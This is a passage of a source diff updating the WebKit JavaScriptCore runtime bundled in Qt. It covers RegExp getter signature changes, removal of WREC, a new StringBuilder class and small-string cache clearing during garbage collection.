--- a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExp.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExp.h
@@ -23,7 +23,6 @@
 #define RegExp_h
 
 #include "UString.h"
-#include "WREC.h"
 #include "ExecutableAllocator.h"
 #include <wtf/Forward.h>
 #include <wtf/RefCounted.h>
@@ -49,7 +48,6 @@ namespace JSC {
         bool multiline() const { return m_flagBits & Multiline; }
 
         const UString& pattern() const { return m_pattern; }
-        const UString& flags() const { return m_flags; }
 
         bool isValid() const { return !m_constructionError; }
         const char* errorMessage() const { return m_constructionError; }
@@ -66,7 +64,6 @@ namespace JSC {
         enum FlagBits { Global = 1, IgnoreCase = 2, Multiline = 4 };
 
         UString m_pattern; // FIXME: Just decompile m_regExp instead of storing this.
-        UString m_flags; // FIXME: Just decompile m_regExp instead of storing this.
         int m_flagBits;
         const char* m_constructionError;
         unsigned m_numSubpatterns;
@@ -76,10 +73,6 @@ namespace JSC {
 #elif ENABLE(YARR)
         OwnPtr<Yarr::BytecodePattern> m_regExpBytecode;
 #else
-#if ENABLE(WREC)
-        WREC::CompiledRegExp m_wrecFunction;
-        RefPtr<ExecutablePool> m_executablePool;
-#endif
         JSRegExp* m_regExp;
 #endif
     };
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpConstructor.cpp
index c609e08..c0cfc37 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpConstructor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpConstructor.cpp
@@ -35,21 +35,21 @@
 
 namespace JSC {
 
-static JSValue regExpConstructorInput(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorMultiline(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorLastMatch(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorLastParen(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorLeftContext(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorRightContext(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar1(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar2(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar3(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar4(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar5(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar6(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar7(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar8(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpConstructorDollar9(ExecState*, const Identifier&, const PropertySlot&);
+static JSValue regExpConstructorInput(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorMultiline(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorLastMatch(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorLastParen(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorLeftContext(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorRightContext(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar1(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar2(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar3(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar4(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar5(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar6(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar7(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar8(ExecState*, JSValue, const Identifier&);
+static JSValue regExpConstructorDollar9(ExecState*, JSValue, const Identifier&);
 
 static void setRegExpConstructorInput(ExecState*, JSObject*, JSValue);
 static void setRegExpConstructorMultiline(ExecState*, JSObject*, JSValue);
@@ -113,17 +113,17 @@ RegExpMatchesArray::RegExpMatchesArray(ExecState* exec, RegExpConstructorPrivate
     memcpy(d->lastOvector().data(), data->lastOvector().data(), offsetVectorSize * sizeof(int));
     // d->multiline is not needed, and remains uninitialized
 
-    setLazyCreationData(d);
+    setSubclassData(d);
 }
 
 RegExpMatchesArray::~RegExpMatchesArray()
 {
-    delete static_cast<RegExpConstructorPrivate*>(lazyCreationData());
+    delete static_cast<RegExpConstructorPrivate*>(subclassData());
 }
 
 void RegExpMatchesArray::fillArrayInstance(ExecState* exec)
 {
-    RegExpConstructorPrivate* d = static_cast<RegExpConstructorPrivate*>(lazyCreationData());
+    RegExpConstructorPrivate* d = static_cast<RegExpConstructorPrivate*>(subclassData());
     ASSERT(d);
 
     unsigned lastNumSubpatterns = d->lastNumSubPatterns;
@@ -132,6 +132,8 @@ void RegExpMatchesArray::fillArrayInstance(ExecState* exec)
         int start = d->lastOvector()[2 * i];
         if (start >= 0)
             JSArray::put(exec, i, jsSubstring(exec, d->lastInput, start, d->lastOvector()[2 * i + 1] - start));
+        else
+            JSArray::put(exec, i, jsUndefined());
     }
 
     PutPropertySlot slot;
@@ -139,7 +141,7 @@ void RegExpMatchesArray::fillArrayInstance(ExecState* exec)
     JSArray::put(exec, exec->propertyNames().input, jsString(exec, d->input), slot);
 
     delete d;
-    setLazyCreationData(0);
+    setSubclassData(0);
 }
 
 JSObject* RegExpConstructor::arrayOfMatches(ExecState* exec) const
@@ -193,79 +195,79 @@ bool RegExpConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifi
     return getStaticValueDescriptor<RegExpConstructor, InternalFunction>(exec, ExecState::regExpConstructorTable(exec), this, propertyName, descriptor);
 }
 
-JSValue regExpConstructorDollar1(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar1(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 1);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 1);
 }
 
-JSValue regExpConstructorDollar2(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar2(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 2);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 2);
 }
 
-JSValue regExpConstructorDollar3(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar3(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 3);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 3);
 }
 
-JSValue regExpConstructorDollar4(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar4(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 4);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 4);
 }
 
-JSValue regExpConstructorDollar5(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar5(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 5);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 5);
 }
 
-JSValue regExpConstructorDollar6(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar6(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 6);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 6);
 }
 
-JSValue regExpConstructorDollar7(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar7(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 7);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 7);
 }
 
-JSValue regExpConstructorDollar8(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar8(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 8);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 8);
 }
 
-JSValue regExpConstructorDollar9(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorDollar9(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 9);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 9);
 }
 
-JSValue regExpConstructorInput(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorInput(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return jsString(exec, asRegExpConstructor(slot.slotBase())->input());
+    return jsString(exec, asRegExpConstructor(slotBase)->input());
 }
 
-JSValue regExpConstructorMultiline(ExecState*, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorMultiline(ExecState*, JSValue slotBase, const Identifier&)
 {
-    return jsBoolean(asRegExpConstructor(slot.slotBase())->multiline());
+    return jsBoolean(asRegExpConstructor(slotBase)->multiline());
 }
 
-JSValue regExpConstructorLastMatch(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorLastMatch(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getBackref(exec, 0);
+    return asRegExpConstructor(slotBase)->getBackref(exec, 0);
 }
 
-JSValue regExpConstructorLastParen(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorLastParen(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getLastParen(exec);
+    return asRegExpConstructor(slotBase)->getLastParen(exec);
 }
 
-JSValue regExpConstructorLeftContext(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorLeftContext(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getLeftContext(exec);
+    return asRegExpConstructor(slotBase)->getLeftContext(exec);
 }
 
-JSValue regExpConstructorRightContext(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpConstructorRightContext(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return asRegExpConstructor(slot.slotBase())->getRightContext(exec);
+    return asRegExpConstructor(slotBase)->getRightContext(exec);
 }
 
 void RegExpConstructor::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -300,7 +302,7 @@ JSObject* constructRegExp(ExecState* exec, const ArgList& args)
 
     RefPtr<RegExp> regExp = RegExp::create(&exec->globalData(), pattern, flags);
     if (!regExp->isValid())
-        return throwError(exec, SyntaxError, UString("Invalid regular expression: ").append(regExp->errorMessage()));
+        return throwError(exec, SyntaxError, makeString("Invalid regular expression: ", regExp->errorMessage()));
     return new (exec) RegExpObject(exec->lexicalGlobalObject()->regExpStructure(), regExp.release());
 }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpConstructor.h b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpConstructor.h
index f9ca9cf..8f4be71 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpConstructor.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpConstructor.h
@@ -59,7 +59,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
         virtual void put(ExecState*, const Identifier& propertyName, JSValue, PutPropertySlot&);
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpMatchesArray.h b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpMatchesArray.h
index 829f7cf..b823621 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpMatchesArray.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpMatchesArray.h
@@ -32,58 +32,58 @@ namespace JSC {
     private:
         virtual bool getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
         {
-            if (lazyCreationData())
+            if (subclassData())
                 fillArrayInstance(exec);
             return JSArray::getOwnPropertySlot(exec, propertyName, slot);
         }
 
         virtual bool getOwnPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
         {
-            if (lazyCreationData())
+            if (subclassData())
                 fillArrayInstance(exec);
             return JSArray::getOwnPropertySlot(exec, propertyName, slot);
         }
 
         virtual bool getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
         {
-            if (lazyCreationData())
+            if (subclassData())
                 fillArrayInstance(exec);
             return JSArray::getOwnPropertyDescriptor(exec, propertyName, descriptor);
         }
 
         virtual void put(ExecState* exec, const Identifier& propertyName, JSValue v, PutPropertySlot& slot)
         {
-            if (lazyCreationData())
+            if (subclassData())
                 fillArrayInstance(exec);
             JSArray::put(exec, propertyName, v, slot);
         }
 
         virtual void put(ExecState* exec, unsigned propertyName, JSValue v)
         {
-            if (lazyCreationData())
+            if (subclassData())
                 fillArrayInstance(exec);
             JSArray::put(exec, propertyName, v);
         }
 
         virtual bool deleteProperty(ExecState* exec, const Identifier& propertyName)
         {
-            if (lazyCreationData())
+            if (subclassData())
                 fillArrayInstance(exec);
             return JSArray::deleteProperty(exec, propertyName);
         }
 
         virtual bool deleteProperty(ExecState* exec, unsigned propertyName)
         {
-            if (lazyCreationData())
+            if (subclassData())
                 fillArrayInstance(exec);
             return JSArray::deleteProperty(exec, propertyName);
         }
 
-        virtual void getOwnPropertyNames(ExecState* exec, PropertyNameArray& arr)
+        virtual void getOwnPropertyNames(ExecState* exec, PropertyNameArray& arr, EnumerationMode mode = ExcludeDontEnumProperties)
         {
-            if (lazyCreationData())
+            if (subclassData())
                 fillArrayInstance(exec);
-            JSArray::getOwnPropertyNames(exec, arr);
+            JSArray::getOwnPropertyNames(exec, arr, mode);
         }
 
         void fillArrayInstance(ExecState*);
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpObject.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpObject.cpp
index 679d072..3758e53 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpObject.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpObject.cpp
@@ -30,11 +30,11 @@
 
 namespace JSC {
 
-static JSValue regExpObjectGlobal(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpObjectIgnoreCase(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpObjectMultiline(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpObjectSource(ExecState*, const Identifier&, const PropertySlot&);
-static JSValue regExpObjectLastIndex(ExecState*, const Identifier&, const PropertySlot&);
+static JSValue regExpObjectGlobal(ExecState*, JSValue, const Identifier&);
+static JSValue regExpObjectIgnoreCase(ExecState*, JSValue, const Identifier&);
+static JSValue regExpObjectMultiline(ExecState*, JSValue, const Identifier&);
+static JSValue regExpObjectSource(ExecState*, JSValue, const Identifier&);
+static JSValue regExpObjectLastIndex(ExecState*, JSValue, const Identifier&);
 static void setRegExpObjectLastIndex(ExecState*, JSObject*, JSValue);
 
 } // namespace JSC
@@ -77,29 +77,29 @@ bool RegExpObject::getOwnPropertyDescriptor(ExecState* exec, const Identifier& p
     return getStaticValueDescriptor<RegExpObject, JSObject>(exec, ExecState::regExpTable(exec), this, propertyName, descriptor);
 }
 
-JSValue regExpObjectGlobal(ExecState*, const Identifier&, const PropertySlot& slot)
+JSValue regExpObjectGlobal(ExecState*, JSValue slotBase, const Identifier&)
 {
-    return jsBoolean(asRegExpObject(slot.slotBase())->regExp()->global());
+    return jsBoolean(asRegExpObject(slotBase)->regExp()->global());
 }
 
-JSValue regExpObjectIgnoreCase(ExecState*, const Identifier&, const PropertySlot& slot)
+JSValue regExpObjectIgnoreCase(ExecState*, JSValue slotBase, const Identifier&)
 {
-    return jsBoolean(asRegExpObject(slot.slotBase())->regExp()->ignoreCase());
+    return jsBoolean(asRegExpObject(slotBase)->regExp()->ignoreCase());
 }
  
-JSValue regExpObjectMultiline(ExecState*, const Identifier&, const PropertySlot& slot)
+JSValue regExpObjectMultiline(ExecState*, JSValue slotBase, const Identifier&)
 {            
-    return jsBoolean(asRegExpObject(slot.slotBase())->regExp()->multiline());
+    return jsBoolean(asRegExpObject(slotBase)->regExp()->multiline());
 }
 
-JSValue regExpObjectSource(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpObjectSource(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return jsString(exec, asRegExpObject(slot.slotBase())->regExp()->pattern());
+    return jsString(exec, asRegExpObject(slotBase)->regExp()->pattern());
 }
 
-JSValue regExpObjectLastIndex(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue regExpObjectLastIndex(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    return jsNumber(exec, asRegExpObject(slot.slotBase())->lastIndex());
+    return jsNumber(exec, asRegExpObject(slotBase)->lastIndex());
 }
 
 void RegExpObject::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -142,7 +142,7 @@ bool RegExpObject::match(ExecState* exec, const ArgList& args)
 
     UString input = args.isEmpty() ? regExpConstructor->input() : args.at(0).toString(exec);
     if (input.isNull()) {
-        throwError(exec, GeneralError, "No input to " + toString(exec) + ".");
+        throwError(exec, GeneralError, makeString("No input to ", toString(exec), "."));
         return false;
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpObject.h
index 3117c86..4ad11ef 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpObject.h
@@ -49,7 +49,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpPrototype.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpPrototype.cpp
index bbc9e85..dd5fe02 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpPrototype.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExpPrototype.cpp
@@ -27,6 +27,7 @@
 #include "JSFunction.h"
 #include "JSObject.h"
 #include "JSString.h"
+#include "JSStringBuilder.h"
 #include "JSValue.h"
 #include "ObjectPrototype.h"
 #include "PrototypeFunction.h"
@@ -91,7 +92,7 @@ JSValue JSC_HOST_CALL regExpProtoFuncCompile(ExecState* exec, JSObject*, JSValue
     }
 
     if (!regExp->isValid())
-        return throwError(exec, SyntaxError, UString("Invalid regular expression: ").append(regExp->errorMessage()));
+        return throwError(exec, SyntaxError, makeString("Invalid regular expression: ", regExp->errorMessage()));
 
     asRegExpObject(thisValue)->setRegExp(regExp.release());
     asRegExpObject(thisValue)->setLastIndex(0);
@@ -106,15 +107,17 @@ JSValue JSC_HOST_CALL regExpProtoFuncToString(ExecState* exec, JSObject*, JSValu
         return throwError(exec, TypeError);
     }
 
-    UString result = "/" + asRegExpObject(thisValue)->get(exec, exec->propertyNames().source).toString(exec);
-    result.append('/');
+    char postfix[5] = { '/', 0, 0, 0, 0 };
+    int index = 1;
     if (asRegExpObject(thisValue)->get(exec, exec->propertyNames().global).toBoolean(exec))
-        result.append('g');
+        postfix[index++] = 'g';
     if (asRegExpObject(thisValue)->get(exec, exec->propertyNames().ignoreCase).toBoolean(exec))
-        result.append('i');
+        postfix[index++] = 'i';
     if (asRegExpObject(thisValue)->get(exec, exec->propertyNames().multiline).toBoolean(exec))
-        result.append('m');
-    return jsNontrivialString(exec, result);
+        postfix[index] = 'm';
+    UString source = asRegExpObject(thisValue)->get(exec, exec->propertyNames().source).toString(exec);
+    // If source is empty, use "/(?:)/" to avoid colliding with comment syntax
+    return jsMakeNontrivialString(exec, "/", source.size() ? source : UString("(?:)"), postfix);
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/SmallStrings.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/SmallStrings.cpp
index 04701cb..78bd4e4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/SmallStrings.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/SmallStrings.cpp
@@ -34,6 +34,11 @@
 namespace JSC {
 static const unsigned numCharactersToStore = 0x100;
 
+static inline bool isMarked(JSString* string)
+{
+    return string && Heap::isCellMarked(string);
+}
+
 class SmallStringsStorage : public Noncopyable {
 public:
     SmallStringsStorage();
@@ -41,41 +46,23 @@ public:
     UString::Rep* rep(unsigned char character) { return &m_reps[character]; }
 
 private:
-    UChar m_characters[numCharactersToStore];
-    UString::BaseString m_base;
     UString::Rep m_reps[numCharactersToStore];
 };
 
 SmallStringsStorage::SmallStringsStorage()
-    : m_base(m_characters, numCharactersToStore)
 {
-    m_base.rc = numCharactersToStore + 1;
-    // make sure UString doesn't try to reuse the buffer by pretending we have one more character in it
-    m_base.usedCapacity = numCharactersToStore + 1;
-    m_base.capacity = numCharactersToStore + 1;
-    m_base.checkConsistency();
-
-    for (unsigned i = 0; i < numCharactersToStore; ++i)
-        m_characters[i] = i;
-
-    memset(&m_reps, 0, sizeof(m_reps));
+    UChar* characterBuffer = 0;
+    RefPtr<UStringImpl> baseString = UStringImpl::createUninitialized(numCharactersToStore, characterBuffer);
     for (unsigned i = 0; i < numCharactersToStore; ++i) {
-        m_reps[i].offset = i;
-        m_reps[i].len = 1;
-        m_reps[i].rc = 1;
-        m_reps[i].setBaseString(&m_base);
-        m_reps[i].checkConsistency();
+        characterBuffer[i] = i;
+        new (&m_reps[i]) UString::Rep(&characterBuffer[i], 1, PassRefPtr<UStringImpl>(baseString));
     }
 }
 
 SmallStrings::SmallStrings()
-    : m_emptyString(0)
-    , m_storage(0)
 {
     COMPILE_ASSERT(numCharactersToStore == sizeof(m_singleCharacterStrings) / sizeof(m_singleCharacterStrings[0]), IsNumCharactersConstInSyncWithClassUsage);
-
-    for (unsigned i = 0; i < numCharactersToStore; ++i)
-        m_singleCharacterStrings[i] = 0;
+    clear();
 }
 
 SmallStrings::~SmallStrings()
@@ -84,6 +71,25 @@ SmallStrings::~SmallStrings()
 
 void SmallStrings::markChildren(MarkStack& markStack)
 {
+    /*
+       Our hypothesis is that small strings are very common. So, we cache them
+       to avoid GC churn. However, in cases where this hypothesis turns out to
+       be false -- including the degenerate case where all JavaScript execution
+       has terminated -- we don't want to waste memory.
+
+       To test our hypothesis, we check if any small string has been marked. If
+       so, it's probably reasonable to mark the rest. If not, we clear the cache.
+     */
+
+    bool isAnyStringMarked = isMarked(m_emptyString);
+    for (unsigned i = 0; i < numCharactersToStore && !isAnyStringMarked; ++i)
+        isAnyStringMarked = isMarked(m_singleCharacterStrings[i]);
+    
+    if (!isAnyStringMarked) {
+        clear();
+        return;
+    }
+    
     if (m_emptyString)
         markStack.append(m_emptyString);
     for (unsigned i = 0; i < numCharactersToStore; ++i) {
@@ -92,6 +98,13 @@ void SmallStrings::markChildren(MarkStack& markStack)
     }
 }
 
+void SmallStrings::clear()
+{
+    m_emptyString = 0;
+    for (unsigned i = 0; i < numCharactersToStore; ++i)
+        m_singleCharacterStrings[i] = 0;
+}
+
 unsigned SmallStrings::count() const
 {
     unsigned count = 0;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/SmallStrings.h b/src/3rdparty/webkit/JavaScriptCore/runtime/SmallStrings.h
index efecbb0..cc11d0a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/SmallStrings.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/SmallStrings.h
@@ -57,6 +57,7 @@ namespace JSC {
         UString::Rep* singleCharacterStringRep(unsigned char character);
 
         void markChildren(MarkStack&);
+        void clear();
 
         unsigned count() const;
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/StringBuilder.h b/src/3rdparty/webkit/JavaScriptCore/runtime/StringBuilder.h
new file mode 100644
index 0000000..59b01e0
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/StringBuilder.h
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef StringBuilder_h
+#define StringBuilder_h
+
+#include <wtf/Vector.h>
+
+namespace JSC {
+
+class StringBuilder {
+public:
+    void append(const UChar u)
+    {
+        buffer.append(u);
+    }
+
+    void append(const char* str)
+    {
+        append(str, strlen(str));
+    }
+
+    void append(const char* str, size_t len)
+    {
+        buffer.reserveCapacity(buffer.size() + len);
+        for (size_t i = 0; i < len; i++)
+            buffer.append(static_cast<unsigned char>(str[i]));
+    }
+
+    void append(const UChar* str, size_t len)
+    {
+        buffer.append(str, len);
+    }
+
+    void append(const UString& str)
+    {
+        buffer.append(str.data(), str.size());
+    }
+
+    bool isEmpty() { return buffer.isEmpty(); }
+    void reserveCapacity(size_t newCapacity) { buffer.reserveCapacity(newCapacity); }
+    void resize(size_t size) { buffer.resize(size); }
+    size_t size() const { return buffer.size(); }
+
+    UChar operator[](size_t i) const { return buffer.at(i); }
+
+    UString build()
+    {
+        buffer.shrinkToFit();
+        ASSERT(buffer.data() || !buffer.size());
+        return UString::adopt(buffer);
+    }
+
+protected:
+    Vector<UChar, 64> buffer;
+};
+
+}
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/StringConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/StringConstructor.cpp
index 2f3adbe..c7b62bf 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/StringConstructor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/StringConstructor.cpp
@@ -30,12 +30,12 @@ namespace JSC {
 
 static NEVER_INLINE JSValue stringFromCharCodeSlowCase(ExecState* exec, const ArgList& args)
 {
-    UChar* buf = static_cast<UChar*>(fastMalloc(args.size() * sizeof(UChar)));
-    UChar* p = buf;
-    ArgList::const_iterator end = args.end();
-    for (ArgList::const_iterator it = args.begin(); it != end; ++it)
-        *p++ = static_cast<UChar>((*it).toUInt32(exec));
-    return jsString(exec, UString(buf, p - buf, false));
+    unsigned length = args.size();
+    UChar* buf;
+    PassRefPtr<UStringImpl> impl = UStringImpl::createUninitialized(length, buf);
+    for (unsigned i = 0; i < length; ++i)
+        buf[i] = static_cast<UChar>(args.at(i).toUInt32(exec));
+    return jsString(exec, impl);
 }
 
 static JSValue JSC_HOST_CALL stringFromCharCode(ExecState* exec, JSObject*, JSValue, const ArgList& args)
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/StringObject.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/StringObject.cpp
index 7216d3a..f8e0e87 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/StringObject.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/StringObject.cpp
@@ -79,15 +79,21 @@ bool StringObject::deleteProperty(ExecState* exec, const Identifier& propertyNam
 {
     if (propertyName == exec->propertyNames().length)
         return false;
+    bool isStrictUInt32;
+    unsigned i = propertyName.toStrictUInt32(&isStrictUInt32);
+    if (isStrictUInt32 && internalValue()->canGetIndex(i))
+        return false;
     return JSObject::deleteProperty(exec, propertyName);
 }
 
-void StringObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void StringObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
-    int size = internalValue()->value().size();
+    int size = internalValue()->length();
     for (int i = 0; i < size; ++i)
         propertyNames.add(Identifier(exec, UString::from(i)));
-    return JSObject::getOwnPropertyNames(exec, propertyNames);
+    if (mode == IncludeDontEnumProperties)
+        propertyNames.add(exec->propertyNames().length);
